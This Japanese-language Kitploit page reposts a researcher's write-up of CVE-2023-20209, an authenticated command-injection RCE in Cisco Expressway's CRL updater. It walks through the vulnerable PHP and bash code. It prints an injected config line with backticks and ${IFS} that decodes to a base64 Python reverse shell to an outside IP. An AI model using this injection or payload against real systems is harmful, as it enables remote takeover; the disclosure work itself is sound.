Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-20209 — CVE-2023-20209 に関する詳細な技術分析と概念実証(PoC)エクスプロイト。Cisco Expressway における認証後のリモートコード実行脆弱性であり、ステップバイステップのコードフロー解説と悪用メモを含みます。 | Kitploit
ツール/GitHubGitHub/peter5he1by/cve-2023-20209
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミング
GitHubpeter5he1by/cve-2023-20209

CVE-2023-20209

CVE-2023-20209 に関する詳細な技術分析と概念実証(PoC)エクスプロイト。Cisco Expressway における認証後のリモートコード実行脆弱性であり、ステップバイステップのコードフロー解説と悪用メモを含みます。

リポジトリを見る
412年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

私は、Red Team エンゲージメント中にインターネット上で Cisco Expressway を何台か見かけたため調査を始めましたが、業務中にこの製品をさらに調査する時間はありませんでした。

当初は認証バイパスを探して RCE につなげようとしていましたが、時間切れとなり、認証後 RCE に落ち着きました。フロントエンドの PHP コードはさらなる悪用が期待できそうです……。

これは、CVE-2023-20209 の発見とベンダー通知に関する私のメモです。

悪用後のプロセスリストから、/sbin/request-crlupdate への呼び出しが見られます:

root@kitploit:~
root     16449  0.0  0.0   7472  4024 ?        S    Feb18   0:00 bash /sbin/request-crlupdate
root     16451  0.0  0.1   7544  4280 ?        S    Feb18   0:00 /bin/bash /etc/init.d/crlupdater restart
root     16466  0.0  0.2  14084 11236 ?        S    Feb18   0:00 python -c exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))

/sbin/request-crlupdate の内容を見てみましょう:

root@kitploit:~
#! /bin/env bash

#
# This script is responsible to updating the CRL automatic updater process
#   when configuration is changed
#

# =============================================================================

# Needs to be kept in sync with PHP and updater script
readonly STARTFILE="/tmp/request/update_crl_config"
readonly LOCK_FILE="/tmp/crlupdater_running"

# =============================================================================

# Source for helper functions
readonly FUNCTIONS="/etc/functions"
[[ -f ${FUNCTIONS} ]] && . ${FUNCTIONS}

# =============================================================================

if [[ -f ${STARTFILE} ]]; then
    # Remove the flag file
    rm -f ${STARTFILE}

    if [[ -f ${LOCK_FILE} ]]; then
        do_log "Event=\"Updating CRL data\" Detail=\"CRL update already in progress. Scheduling another update\""
        touch ${STARTFILE}

        # To avoid the possibility of tight loop situation until the lock file is removed,
        #   let's sleep for a few seconds
        sleep 30
    else
        # Kick the CRL automatic update daemon
        /etc/init.d/crlupdater restart
    fi
fi

# =============================================================================

CRL 自動更新デーモンを呼び出していることがわかりますが、これだけではどうやってそこに到達したのかは説明できません。以下でコードフローをたどってみました。

まず、Web フロントエンドの PHP コード (/share/web/public/crpupdater.php) では、http または https で始まることを確認する検証チェックがあります:

root@kitploit:~
$crl_distribution_points_root_new = new SimpleXMLElement("<root/>");
                foreach ( $url_list as $line )
                {
                    if ( strlen( $line ) > 0 )
                    {
                        if ( preg_match( '/^(http|https):\/\/.+/i', $line ) > 0 )
                        {
                            // Ensure no spaces in the URI
                            $line = str_replace( " ", "%20", $line );

                            $crl_distribution_points_root_new->record[ $idx++ ]->distribution_point = $line;

                            $distribution_point_count++;
                        }
                        else
                        {
                            $unsupported_distribution_point_seen = true;
                        }
                    }
                }

これはその後、Web サービスの背後にある Python フレームワークに渡されます。Python はすべて pyc のため、ここではフローの一部が欠落しますが、以下にヒントがあります。

Python が /sbin/request-crlupdate への呼び出しを引き起こしているようです。

/share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyc

root@kitploit:~
        Class to manage requestd with regards CRL updates
    c         C   s    t  j j j j j |  | ƒ d  S(   N(   RO   RV   RW   RX   RY   R   (   R
   RL   (    (    sp   /share/python/site-packages/ni/managementframework/applications/installed/crlupdatermanager/crlupdatermanager.pyR   ?  s    c         C   s-   t  j d ƒ t j j j j j |  d ƒ d S(   s\   
            Creates the trigger file for requestd to restart the CRL update daemon

/etc/init.d/crlupdater の内容:

root@kitploit:~
#!/bin/bash
#set -x

#
# Set up automatic CRL updates, if configured
#

readonly SERVICE="crl_updater"
readonly PID_FILE="/var/run/${SERVICE}.pid"


[[ -f /etc/functions ]] && . /etc/functions


start()
{
    # #86345
    #
    # Ensure that the policy services CRL file has the correct
    #   owner so that the web can update them
    chown _nobody:_nobody /tandberg/persistent/certs/policy-services.crl

    if upgrade_in_progress; then
        # Upgrading so let's not go any further
        echo "Upgrade in process. Not starting ${SERVICE}"
        exit 0
    fi

    if is_service_up ${SERVICE}; then
        # Service already running so let's not go any further
        echo "${SERVICE} already running. Not starting"
        exit 0
    fi

    echo "Starting ${SERVICE}"

    local readonly script="/bin/crl_updater"

    # Need to be kept in sync with PHP and script
    local readonly config_file="/tandberg/persistent/certs/crl-update.conf"

    # Ensure we have the correct directories
    local readonly certificates_base="/mnt/harddisk/certificates"
    local readonly crl_directory="${certificates_base}/crl"
    if [[ ! -d ${crl_directory} ]]; then
        mkdir -p ${crl_directory}
    fi

    if [[ -s ${config_file} ]]; then
        . "${config_file}"

        if [[ ${auto_updates} == "true" ]]; then
            # Check every 600 seconds to see if it is the configured hour
            #   and then run the script. If the script is run it will wait
            #   24 hours before running the script again
            /bin/time_kicker 600 ${update_hour} ${script} > /dev/null 2>&1 &
            echo $! > ${PID_FILE}
        else
            # We run the script anyway so that it can perform any clean-up
            #   required as a result of being disabled
            ${script} > /dev/null 2>&1 &
        fi
    fi
}

stop()
{
    if is_service_up ${SERVICE}; then
        echo "Stopping ${SERVICE}"
        kill_pid_file ${SERVICE} ${PID_FILE}

        rm -f ${PID_FILE}
    fi
}

restart()
{
    stop
    start
}

case "$1" in
    start)
        start
        ;;
    stop)
        stop
        ;;
    restart)
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|restart}"
        exit 1
        ;;
esac

ここで重要な行は次のとおりです:

root@kitploit:~
local readonly script="/bin/crl_updater"

local readonly config_file="/tandberg/persistent/certs/crl-update.conf"

悪用後の /tandberg/persistent/certs/crl-update.conf の内容は次のとおりです:

root@kitploit:~
auto_updates=true
update_hour=11
distribution_point=http://`python${IFS}-c${IFS}"exec(__import__('base64').decodestring('cz1fX2ltcG9ydF9fKCdzb2NrZXQnKS5zb2NrZXQoX19pbXBvcnRfXygnc29ja2V0JykuQUZfSU5FVCxfX2ltcG9ydF9fKCdzb2NrZXQnKS5TT0NLX1NUUkVBTSk7IHMuY29ubmVjdCgoJzE5Mi4zMi41NS4xMzAnLCAxMzM3KSk7IF9faW1wb3J0X18oJ29zJykuZHVwMihzLmZpbGVubygpLDApOyBfX2ltcG9ydF9fKCdvcycpLmR1cDIocy5maWxlbm8oKSwxKTsgX19pbXBvcnRfXygnb3MnKS5kdXAyKHMuZmlsZW5vKCksMik7IHA9X19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNhbGwoWycvYmluL3NoJywnLWknXSk='))"`

上記のファイルに悪意のある CRL データが含まれていることがわかります。

/etc/init.d/crpupdater の IF 文のどちらの場合でも、/bin/crl_updater を実行する呼び出しが行われます。

この時点で、/bin/crl_updater のフロー内で悪意のあるコードが実行されます:

root@kitploit:~
read_configuration()
{
    # Source the configuration file
    #   Needs to be kept in sync with PHP and init script
    local readonly config_file="/tandberg/persistent/certs/crl-update.conf"

    local readonly config_separator="="
    local readonly distribution_point_prefix="distribution_point"

    if [[ -s ${config_file} ]]; then
        . "${config_file}"

        readonly CRL_UPDATE_MODE="${auto_updates}"
        readonly CRL_DISTRIBUTION_POINTS=`cat ${config_file} | while read line; do echo ${line} | grep "${distribution_point_prefix}" | tr "${config_separator}" "\n" | grep -v "${distribution_point_prefix}" ; done`

        if [[ ${CRL_UPDATE_MODE} == "true" ]]; then
            # Ensure that we have some distribution points configured
            if [[ -z "${CRL_DISTRIBUTION_POINTS}" ]]; then
                updater_event_logger "ERROR: No CRL distribution points configured"
                alarm raise $CONFIG_ALARM
                exit_handler 1
            fi
        fi
    else
        updater_event_logger "ERROR: CRL updater failed to find configuration file or file is empty"
        alarm raise $NO_CONFIG_ALARM
        exit_handler 1
    fi
}

次に、私たちの悪意のあるコマンドを含む設定ファイルが、次の方法で実行されます:

root@kitploit:~
    if [[ -s ${config_file} ]]; then
        . "${config_file}"

私たちのインジェクションにはバッククォートが含まれているため、それが実行されます。この動作を示すテストケースファイルを用意しました:

root@kitploit:~
auto_updates=true
update_hour=11
distribution_point=http://`touch /tmp/test_file`

/bin/crl_updater スクリプトと同じ方法でテストケースファイルを手動で実行します:

root@kitploit:~
~ # ls -al /tmp/ | grep test_file
~ # . /tmp/test_exec_point 
~ # ls -al /tmp/ | grep test_file
-rw-r--r--  1 root    root         0 Feb 20 01:16 test_file

PoC 用に粗削りですが手早いエクスプロイトスクリプトを作成しました。以下のとおり動作します。

ツールをダウンロード